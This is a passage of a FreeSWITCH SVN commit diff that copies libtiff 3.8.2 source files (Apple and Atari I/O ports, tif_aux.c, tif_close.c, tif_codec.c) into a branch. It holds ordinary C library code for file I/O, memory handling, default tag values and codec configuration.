+			if (FSpCreate(&fSpec, '    ', 'TIFF', smSystemScript) != noErr)
+				goto badCreate;
+			if (FSpOpenDF(&fSpec, fsRdWrPerm, &fref) != noErr)
+				goto badOpen;
+		} else if (err == noErr) {
+			if (FSpOpenDF(&fSpec, fsRdWrPerm, &fref) != noErr)
+				goto badOpen;
+		} else
+			goto badOpen;
+		break;
+	case O_RDONLY:
+		if (FSpOpenDF(&fSpec, fsRdPerm, &fref) != noErr)
+			goto badOpen;
+		break;
+	case O_RDWR:
+		if (FSpOpenDF(&fSpec, fsRdWrPerm, &fref) != noErr)
+			goto badOpen;
+		break;
+	}
+	return (TIFFFdOpen((int) fref, name, mode));
+badCreate:
+	TIFFErrorExt(0, module, "%s: Cannot create", name);
+	return ((TIFF*) 0);
+badOpen:
+	TIFFErrorExt(0, module, "%s: Cannot open", name);
+	return ((TIFF*) 0);
+}
+
+void
+_TIFFmemset(tdata_t p, int v, tsize_t c)
+{
+	memset(p, v, (size_t) c);
+}
+
+void
+_TIFFmemcpy(tdata_t d, const tdata_t s, tsize_t c)
+{
+	memcpy(d, s, (size_t) c);
+}
+
+int
+_TIFFmemcmp(const tdata_t p1, const tdata_t p2, tsize_t c)
+{
+	return (memcmp(p1, p2, (size_t) c));
+}
+
+tdata_t
+_TIFFmalloc(tsize_t s)
+{
+	return (NewPtr((size_t) s));
+}
+
+void
+_TIFFfree(tdata_t p)
+{
+	DisposePtr(p);
+}
+
+tdata_t
+_TIFFrealloc(tdata_t p, tsize_t s)
+{
+	Ptr n = p;
+
+	SetPtrSize(p, (size_t) s);
+	if (MemError() && (n = NewPtr((size_t) s)) != NULL) {
+		BlockMove(p, n, GetPtrSize(p));
+		DisposePtr(p);
+	}
+	return ((tdata_t) n);
+}
+
+static void
+appleWarningHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	fprintf(stderr, "Warning, ");
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFwarningHandler = appleWarningHandler;
+
+static void
+appleErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFerrorHandler = appleErrorHandler;

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_atari.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_atari.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_atari.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_atari.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_atari.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,243 @@
+/* "$Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_atari.c,v 1.2 2005/12/21 12:23:13 joris Exp $" */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library ATARI-specific Routines.
+ */
+#include "tiffiop.h"
+#if defined(__TURBOC__)
+#include <tos.h>
+#include <stdio.h>
+#else
+#include <osbind.h>
+#include <fcntl.h>
+#endif
+
+#ifndef O_ACCMODE
+#define O_ACCMODE 3
+#endif
+
+#include <errno.h>
+
+#define AEFILNF   -33
+
+static tsize_t
+_tiffReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	long r;
+
+	r = Fread((int) fd, size, buf);
+	if (r < 0) {
+		errno = (int)-r;
+		r = -1;
+	}
+	return r;
+}
+
+static tsize_t
+_tiffWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	long r;
+
+	r = Fwrite((int) fd, size, buf);
+	if (r < 0) {
+		errno = (int)-r;
+		r = -1;
+	}
+	return r;
+}
+
+static toff_t
+_tiffSeekProc(thandle_t fd, off_t off, int whence)
+{
+	char buf[256];
+	long current_off, expected_off, new_off;
+
+	if (whence == SEEK_END || off <= 0)
+		return Fseek(off, (int) fd, whence);
+	current_off = Fseek(0, (int) fd, SEEK_CUR); /* find out where we are */
+	if (whence == SEEK_SET)
+		expected_off = off;
+	else
+		expected_off = off + current_off;
+	new_off = Fseek(off, (int) fd, whence);
+	if (new_off == expected_off)
+		return new_off;
+	/* otherwise extend file -- zero filling the hole */
+	if (new_off < 0)            /* error? */
+		new_off = Fseek(0, (int) fd, SEEK_END); /* go to eof */
+	_TIFFmemset(buf, 0, sizeof(buf));
+	while (expected_off > new_off) {
+		off = expected_off - new_off;
+		if (off > sizeof(buf))
+			off = sizeof(buf);
+		if ((current_off = Fwrite((int) fd, off, buf)) != off)
+			return (current_off > 0) ?
+			    new_off + current_off : new_off;
+		new_off += off;
+	}
+	return new_off;
+}
+
+static int
+_tiffCloseProc(thandle_t fd)
+{
+	long r;
+
+	r = Fclose((int) fd);
+	if (r < 0) {
+		errno = (int)-r;
+		r = -1;
+	}
+	return (int)r;
+}
+
+static toff_t
+_tiffSizeProc(thandle_t fd)
+{
+	long pos, eof;
+
+	pos = Fseek(0, (int) fd, SEEK_CUR);
+	eof = Fseek(0, (int) fd, SEEK_END);
+	Fseek(pos, (int) fd, SEEK_SET);
+	return eof;
+}
+
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	return (0);
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+}
+
+/*
+* Open a TIFF file descriptor for read/writing.
+*/
+TIFF*
+TIFFFdOpen(int fd, const char* name, const char* mode)
+{
+	TIFF* tif;
+
+	tif = TIFFClientOpen(name, mode,
+		(thandle_t) fd,
+		_tiffReadProc, _tiffWriteProc, _tiffSeekProc, _tiffCloseProc,
+		_tiffSizeProc, _tiffMapProc, _tiffUnmapProc);
+	if (tif)
+		tif->tif_fd = fd;
+	return (tif);
+}
+
+/*
+* Open a TIFF file for read/writing.
+*/
+TIFF*
+TIFFOpen(const char* name, const char* mode)
+{
+	static const char module[] = "TIFFOpen";
+	int m;
+	long fd;
+
+	m = _TIFFgetMode(mode, module);
+	if (m == -1)
+		return ((TIFF*)0);
+	if (m & O_TRUNC) {
+		fd = Fcreate(name, 0);
+	} else {
+		fd = Fopen(name, m & O_ACCMODE);
+		if (fd == AEFILNF && m & O_CREAT)
+			fd = Fcreate(name, 0);
+	}
+	if (fd < 0)
+		errno = (int)fd;
+	if (fd < 0) {
+		TIFFErrorExt(0, module, "%s: Cannot open", name);
+		return ((TIFF*)0);
+	}
+	return (TIFFFdOpen(fd, name, mode));
+}
+
+#include <stdlib.h>
+
+tdata_t
+_TIFFmalloc(tsize_t s)
+{
+	return (malloc((size_t) s));
+}
+
+void
+_TIFFfree(tdata_t p)
+{
+	free(p);
+}
+
+tdata_t
+_TIFFrealloc(tdata_t p, tsize_t s)
+{
+	return (realloc(p, (size_t) s));
+}
+
+void
+_TIFFmemset(tdata_t p, int v, size_t c)
+{
+	memset(p, v, (size_t) c);
+}
+
+void
+_TIFFmemcpy(tdata_t d, const tdata_t s, size_t c)
+{
+	memcpy(d, s, (size_t) c);
+}
+
+int
+_TIFFmemcmp(const tdata_t p1, const tdata_t p2, tsize_t c)
+{
+	return (memcmp(p1, p2, (size_t) c));
+}
+
+static void
+atariWarningHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	fprintf(stderr, "Warning, ");
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFwarningHandler = atariWarningHandler;
+
+static void
+atariErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFerrorHandler = atariErrorHandler;

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_aux.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_aux.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_aux.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_aux.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_aux.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,267 @@
+/* $Id: tif_aux.c,v 1.19 2006/02/07 10:41:30 dron Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Auxiliary Support Routines.
+ */
+#include "tiffiop.h"
+#include "tif_predict.h"
+#include <math.h>
+
+tdata_t
+_TIFFCheckMalloc(TIFF* tif, size_t nmemb, size_t elem_size, const char* what)
+{
+	tdata_t cp = NULL;
+	tsize_t	bytes = nmemb * elem_size;
+
+	/*
+	 * XXX: Check for integer overflow.
+	 */
+	if (nmemb && elem_size && bytes / elem_size == nmemb)
+		cp = _TIFFmalloc(bytes);
+
+	if (cp == NULL)
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "No space %s", what);
+
+	return (cp);
+}
+
+static int
+TIFFDefaultTransferFunction(TIFFDirectory* td)
+{
+	uint16 **tf = td->td_transferfunction;
+	tsize_t i, n, nbytes;
+
+	tf[0] = tf[1] = tf[2] = 0;
+	if (td->td_bitspersample >= sizeof(tsize_t) * 8 - 2)
+		return 0;
+
+	n = 1<<td->td_bitspersample;
+	nbytes = n * sizeof (uint16);
+	if (!(tf[0] = (uint16 *)_TIFFmalloc(nbytes)))
+		return 0;
+	tf[0][0] = 0;
+	for (i = 1; i < n; i++) {
+		double t = (double)i/((double) n-1.);
+		tf[0][i] = (uint16)floor(65535.*pow(t, 2.2) + .5);
+	}
+
+	if (td->td_samplesperpixel - td->td_extrasamples > 1) {
+		if (!(tf[1] = (uint16 *)_TIFFmalloc(nbytes)))
+			goto bad;
+		_TIFFmemcpy(tf[1], tf[0], nbytes);
+		if (!(tf[2] = (uint16 *)_TIFFmalloc(nbytes)))
+			goto bad;
+		_TIFFmemcpy(tf[2], tf[0], nbytes);
+	}
+	return 1;
+
+bad:
+	if (tf[0])
+		_TIFFfree(tf[0]);
+	if (tf[1])
+		_TIFFfree(tf[1]);
+	if (tf[2])
+		_TIFFfree(tf[2]);
+	tf[0] = tf[1] = tf[2] = 0;
+	return 0;
+}
+
+/*
+ * Like TIFFGetField, but return any default
+ * value if the tag is not present in the directory.
+ *
+ * NB:	We use the value in the directory, rather than
+ *	explcit values so that defaults exist only one
+ *	place in the library -- in TIFFDefaultDirectory.
+ */
+int
+TIFFVGetFieldDefaulted(TIFF* tif, ttag_t tag, va_list ap)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if (TIFFVGetField(tif, tag, ap))
+		return (1);
+	switch (tag) {
+	case TIFFTAG_SUBFILETYPE:
+		*va_arg(ap, uint32 *) = td->td_subfiletype;
+		return (1);
+	case TIFFTAG_BITSPERSAMPLE:
+		*va_arg(ap, uint16 *) = td->td_bitspersample;
+		return (1);
+	case TIFFTAG_THRESHHOLDING:
+		*va_arg(ap, uint16 *) = td->td_threshholding;
+		return (1);
+	case TIFFTAG_FILLORDER:
+		*va_arg(ap, uint16 *) = td->td_fillorder;
+		return (1);
+	case TIFFTAG_ORIENTATION:
+		*va_arg(ap, uint16 *) = td->td_orientation;
+		return (1);
+	case TIFFTAG_SAMPLESPERPIXEL:
+		*va_arg(ap, uint16 *) = td->td_samplesperpixel;
+		return (1);
+	case TIFFTAG_ROWSPERSTRIP:
+		*va_arg(ap, uint32 *) = td->td_rowsperstrip;
+		return (1);
+	case TIFFTAG_MINSAMPLEVALUE:
+		*va_arg(ap, uint16 *) = td->td_minsamplevalue;
+		return (1);
+	case TIFFTAG_MAXSAMPLEVALUE:
+		*va_arg(ap, uint16 *) = td->td_maxsamplevalue;
+		return (1);
+	case TIFFTAG_PLANARCONFIG:
+		*va_arg(ap, uint16 *) = td->td_planarconfig;
+		return (1);
+	case TIFFTAG_RESOLUTIONUNIT:
+		*va_arg(ap, uint16 *) = td->td_resolutionunit;
+		return (1);
+	case TIFFTAG_PREDICTOR:
+                {
+			TIFFPredictorState* sp = (TIFFPredictorState*) tif->tif_data;
+			*va_arg(ap, uint16*) = (uint16) sp->predictor;
+			return 1;
+                }
+	case TIFFTAG_DOTRANGE:
+		*va_arg(ap, uint16 *) = 0;
+		*va_arg(ap, uint16 *) = (1<<td->td_bitspersample)-1;
+		return (1);
+	case TIFFTAG_INKSET:
+		*va_arg(ap, uint16 *) = INKSET_CMYK;
+		return 1;
+	case TIFFTAG_NUMBEROFINKS:
+		*va_arg(ap, uint16 *) = 4;
+		return (1);
+	case TIFFTAG_EXTRASAMPLES:
+		*va_arg(ap, uint16 *) = td->td_extrasamples;
+		*va_arg(ap, uint16 **) = td->td_sampleinfo;
+		return (1);
+	case TIFFTAG_MATTEING:
+		*va_arg(ap, uint16 *) =
+		    (td->td_extrasamples == 1 &&
+		     td->td_sampleinfo[0] == EXTRASAMPLE_ASSOCALPHA);
+		return (1);
+	case TIFFTAG_TILEDEPTH:
+		*va_arg(ap, uint32 *) = td->td_tiledepth;
+		return (1);
+	case TIFFTAG_DATATYPE:
+		*va_arg(ap, uint16 *) = td->td_sampleformat-1;
+		return (1);
+	case TIFFTAG_SAMPLEFORMAT:
+		*va_arg(ap, uint16 *) = td->td_sampleformat;
+                return(1);
+	case TIFFTAG_IMAGEDEPTH:
+		*va_arg(ap, uint32 *) = td->td_imagedepth;
+		return (1);
+	case TIFFTAG_YCBCRCOEFFICIENTS:
+		{
+			/* defaults are from CCIR Recommendation 601-1 */
+			static float ycbcrcoeffs[] = { 0.299f, 0.587f, 0.114f };
+			*va_arg(ap, float **) = ycbcrcoeffs;
+			return 1;
+		}
+	case TIFFTAG_YCBCRSUBSAMPLING:
+		*va_arg(ap, uint16 *) = td->td_ycbcrsubsampling[0];
+		*va_arg(ap, uint16 *) = td->td_ycbcrsubsampling[1];
+		return (1);
+	case TIFFTAG_YCBCRPOSITIONING:
+		*va_arg(ap, uint16 *) = td->td_ycbcrpositioning;
+		return (1);
+	case TIFFTAG_WHITEPOINT:
+		{
+			static float whitepoint[2];
+
+			/* TIFF 6.0 specification tells that it is no default
+			   value for the WhitePoint, but AdobePhotoshop TIFF
+			   Technical Note tells that it should be CIE D50. */
+			whitepoint[0] =	D50_X0 / (D50_X0 + D50_Y0 + D50_Z0);
+			whitepoint[1] =	D50_Y0 / (D50_X0 + D50_Y0 + D50_Z0);
+			*va_arg(ap, float **) = whitepoint;
+			return 1;
+		}
+	case TIFFTAG_TRANSFERFUNCTION:
+		if (!td->td_transferfunction[0] &&
+		    !TIFFDefaultTransferFunction(td)) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "No space for \"TransferFunction\" tag");
+			return (0);
+		}
+		*va_arg(ap, uint16 **) = td->td_transferfunction[0];
+		if (td->td_samplesperpixel - td->td_extrasamples > 1) {
+			*va_arg(ap, uint16 **) = td->td_transferfunction[1];
+			*va_arg(ap, uint16 **) = td->td_transferfunction[2];
+		}
+		return (1);
+	case TIFFTAG_REFERENCEBLACKWHITE:
+		{
+			int i;
+			static float ycbcr_refblackwhite[] = 
+			{ 0.0F, 255.0F, 128.0F, 255.0F, 128.0F, 255.0F };
+			static float rgb_refblackwhite[6];
+
+			for (i = 0; i < 3; i++) {
+				rgb_refblackwhite[2 * i + 0] = 0.0F;
+				rgb_refblackwhite[2 * i + 1] =
+					(float)((1L<<td->td_bitspersample)-1L);
+			}
+			
+			if (td->td_photometric == PHOTOMETRIC_YCBCR) {
+				/*
+				 * YCbCr (Class Y) images must have the
+				 * ReferenceBlackWhite tag set. Fix the
+				 * broken images, which lacks that tag.
+				 */
+				*va_arg(ap, float **) = ycbcr_refblackwhite;
+			} else {
+				/*
+				 * Assume RGB (Class R)
+				 */
+				*va_arg(ap, float **) = rgb_refblackwhite;
+			}
+			return 1;
+		}
+	}
+	return 0;
+}
+
+/*
+ * Like TIFFGetField, but return any default
+ * value if the tag is not present in the directory.
+ */
+int
+TIFFGetFieldDefaulted(TIFF* tif, ttag_t tag, ...)
+{
+	int ok;
+	va_list ap;
+
+	va_start(ap, tag);
+	ok =  TIFFVGetFieldDefaulted(tif, tag, ap);
+	va_end(ap);
+	return (ok);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_close.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_close.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_close.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_close.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_close.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,119 @@
+/* $Id: tif_close.c,v 1.9 2005/11/23 22:20:56 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ */
+#include "tiffiop.h"
+
+/************************************************************************/
+/*                            TIFFCleanup()                             */
+/************************************************************************/
+
+/**
+ * Auxiliary function to free the TIFF structure. Given structure will be
+ * completetly freed, so you should save opened file handle and pointer
+ * to the close procedure in external variables before calling
+ * _TIFFCleanup(), if you will need these ones to close the file.
+ * 
+ * @param tif A TIFF pointer.
+ */
+
+void
+TIFFCleanup(TIFF* tif)
+{
+	if (tif->tif_mode != O_RDONLY)
+	    /*
+	     * Flush buffered data and directory (if dirty).
+	     */
+	    TIFFFlush(tif);
+	(*tif->tif_cleanup)(tif);
+	TIFFFreeDirectory(tif);
+
+	if (tif->tif_dirlist)
+	    _TIFFfree(tif->tif_dirlist);
+	    
+	/* Clean up client info links */
+	while( tif->tif_clientinfo )
+	{
+	    TIFFClientInfoLink *link = tif->tif_clientinfo;
+
+	    tif->tif_clientinfo = link->next;
+	    _TIFFfree( link->name );
+	    _TIFFfree( link );
+	}
+
+	if (tif->tif_rawdata && (tif->tif_flags&TIFF_MYBUFFER))
+	    _TIFFfree(tif->tif_rawdata);
+	if (isMapped(tif))
+	    TIFFUnmapFileContents(tif, tif->tif_base, tif->tif_size);
+
+	/* Clean up custom fields */
+	if (tif->tif_nfields > 0) 
+	{
+	    size_t  i;
+
+	    for (i = 0; i < tif->tif_nfields; i++) 
+	    {
+		TIFFFieldInfo *fld = tif->tif_fieldinfo[i];
+		if (fld->field_bit == FIELD_CUSTOM && 
+		    strncmp("Tag ", fld->field_name, 4) == 0) 
+		{
+		    _TIFFfree(fld->field_name);
+		    _TIFFfree(fld);
+		}
+	    }   
+	  
+	    _TIFFfree(tif->tif_fieldinfo);
+	}
+
+	_TIFFfree(tif);
+}
+
+/************************************************************************/
+/*                            TIFFClose()                               */
+/************************************************************************/
+
+/**
+ * Close a previously opened TIFF file.
+ *
+ * TIFFClose closes a file that was previously opened with TIFFOpen().
+ * Any buffered data are flushed to the file, including the contents of
+ * the current directory (if modified); and all resources are reclaimed.
+ * 
+ * @param tif A TIFF pointer.
+ */
+
+void
+TIFFClose(TIFF* tif)
+{
+	TIFFCloseProc closeproc = tif->tif_closeproc;
+	thandle_t fd = tif->tif_clientdata;
+
+	TIFFCleanup(tif);
+	(void) (*closeproc)(fd);
+}
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_codec.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_codec.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_codec.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_codec.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_codec.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,150 @@
+/* $Id: tif_codec.c,v 1.10 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Builtin Compression Scheme Configuration Support.
+ */
+#include "tiffiop.h"
+
+static	int NotConfigured(TIFF*, int);
+
+#ifndef	LZW_SUPPORT
+#define	TIFFInitLZW		NotConfigured
+#endif
+#ifndef	PACKBITS_SUPPORT
+#define	TIFFInitPackBits	NotConfigured
+#endif
+#ifndef	THUNDER_SUPPORT
+#define	TIFFInitThunderScan	NotConfigured
+#endif
+#ifndef	NEXT_SUPPORT
+#define	TIFFInitNeXT		NotConfigured
+#endif
+#ifndef	JPEG_SUPPORT
+#define	TIFFInitJPEG		NotConfigured
+#endif
+#ifndef	OJPEG_SUPPORT
+#define	TIFFInitOJPEG		NotConfigured
+#endif
+#ifndef	CCITT_SUPPORT
+#define	TIFFInitCCITTRLE	NotConfigured
+#define	TIFFInitCCITTRLEW	NotConfigured
+#define	TIFFInitCCITTFax3	NotConfigured
+#define	TIFFInitCCITTFax4	NotConfigured
+#endif
+#ifndef JBIG_SUPPORT
+#define	TIFFInitJBIG		NotConfigured
+#endif
+#ifndef	ZIP_SUPPORT
+#define	TIFFInitZIP		NotConfigured
+#endif
+#ifndef	PIXARLOG_SUPPORT
+#define	TIFFInitPixarLog	NotConfigured
+#endif
+#ifndef LOGLUV_SUPPORT
+#define TIFFInitSGILog		NotConfigured
+#endif
+
+/*
+ * Compression schemes statically built into the library.
+ */
+#ifdef VMS
+const TIFFCodec _TIFFBuiltinCODECS[] = {
+#else
+TIFFCodec _TIFFBuiltinCODECS[] = {
+#endif
+    { "None",		COMPRESSION_NONE,	TIFFInitDumpMode },
+    { "LZW",		COMPRESSION_LZW,	TIFFInitLZW },
+    { "PackBits",	COMPRESSION_PACKBITS,	TIFFInitPackBits },
+    { "ThunderScan",	COMPRESSION_THUNDERSCAN,TIFFInitThunderScan },
+    { "NeXT",		COMPRESSION_NEXT,	TIFFInitNeXT },
+    { "JPEG",		COMPRESSION_JPEG,	TIFFInitJPEG },
+    { "Old-style JPEG",	COMPRESSION_OJPEG,	TIFFInitOJPEG },
+    { "CCITT RLE",	COMPRESSION_CCITTRLE,	TIFFInitCCITTRLE },
+    { "CCITT RLE/W",	COMPRESSION_CCITTRLEW,	TIFFInitCCITTRLEW },
+    { "CCITT Group 3",	COMPRESSION_CCITTFAX3,	TIFFInitCCITTFax3 },
+    { "CCITT Group 4",	COMPRESSION_CCITTFAX4,	TIFFInitCCITTFax4 },
+    { "ISO JBIG",	COMPRESSION_JBIG,	TIFFInitJBIG },
+    { "Deflate",	COMPRESSION_DEFLATE,	TIFFInitZIP },
+    { "AdobeDeflate",   COMPRESSION_ADOBE_DEFLATE , TIFFInitZIP }, 
+    { "PixarLog",	COMPRESSION_PIXARLOG,	TIFFInitPixarLog },
+    { "SGILog",		COMPRESSION_SGILOG,	TIFFInitSGILog },
+    { "SGILog24",	COMPRESSION_SGILOG24,	TIFFInitSGILog },
+    { NULL,             0,                      NULL }
+};
+
+static int
+_notConfigured(TIFF* tif)
+{
+	const TIFFCodec* c = TIFFFindCODEC(tif->tif_dir.td_compression);
+
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    "%s compression support is not configured", c->name);
+	return (0);
+}
+
+static int
+NotConfigured(TIFF* tif, int scheme)
+{
+    (void) scheme;
+    
+    tif->tif_decodestatus = FALSE;
+    tif->tif_setupdecode = _notConfigured;
+    tif->tif_encodestatus = FALSE;
+    tif->tif_setupencode = _notConfigured;
+    return (1);
+}
+
+/************************************************************************/
+/*                       TIFFIsCODECConfigured()                        */
+/************************************************************************/
+
+/**
+ * Check whether we have working codec for the specific coding scheme.
+ * 
+ * @return returns 1 if the codec is configured and working. Otherwise
+ * 0 will be returned.
+ */
+
+int
+TIFFIsCODECConfigured(uint16 scheme)
+{
+	const TIFFCodec* codec = TIFFFindCODEC(scheme);
+
+	if(codec == NULL) {
+            return 0;
+        }
+        if(codec->init == NULL) {
+            return 0;
+        }
+	if(codec->init != NotConfigured){
+            return 1;
+        }
+	return 0;
+}
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_color.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_color.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_color.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_color.c	                        (rev 0)
